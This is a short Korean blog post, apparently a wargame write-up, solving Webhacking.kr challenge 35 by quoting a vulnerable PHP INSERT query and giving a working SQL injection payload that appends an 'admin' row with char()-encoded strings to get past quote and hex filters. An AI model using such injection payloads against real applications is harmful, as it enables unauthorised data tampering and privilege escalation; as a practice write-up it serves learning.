zj3t

email: euntaejang@gmail.com

Latest Posts

Webhacking.kr 35-sql injection

By 오전 1:49

이전 8번과 비슷한 문제입니다. 풀이는 거의 동일함으로 사진 생략하겠습니다.

@mysql_query("insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone])") or die("query error");



insert 문제인데 values(  1   ),(   2  ),(    3   ) 이런게 계속 가능합니다.

따라서 아까는 주석을 썼지만 확인하시면 아시다시피 #와 -  모두 쓸수 없기 때문에 또한 $_SESSION[id]를 건드릴수 없고 맨 마지막 인자인 $_GET[phone] 만 건드려 줄 수 있기 때문에 저렇게 여러개의 값을 insert 하는 방법밖에는 없습니다..



phone:010),('admin','내 ip', 010


이것을 넣어주면 

values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]', phone:010),('admin','내 ip', 010 )")

이렇게 여러개 넣어준 형식이 됩니다. 그럼 공격은 성공하게 되는데요

문제점이 일단 '' 이런걸 써줄수 없다고는 앞에서의 문제에서 말했습니다.(magic quoter g 어쩌구) 따라서 0x124124 이렇게 핵스값으로 문자열을 표현하거나 char(12,123,123,) 이렇게 문자로 치환해 주는 형식을 사용해야 합니다.

하지만 x는 필터링이 되어있기 때문에 후자의 방법을 선택하면 됩니다.


?phone=010),(char(97,100,109,110),char(XX,50,52,46,XX,57,46,50,48,55,46,XX,52,56),010

You Might Also Like

0 개의 댓글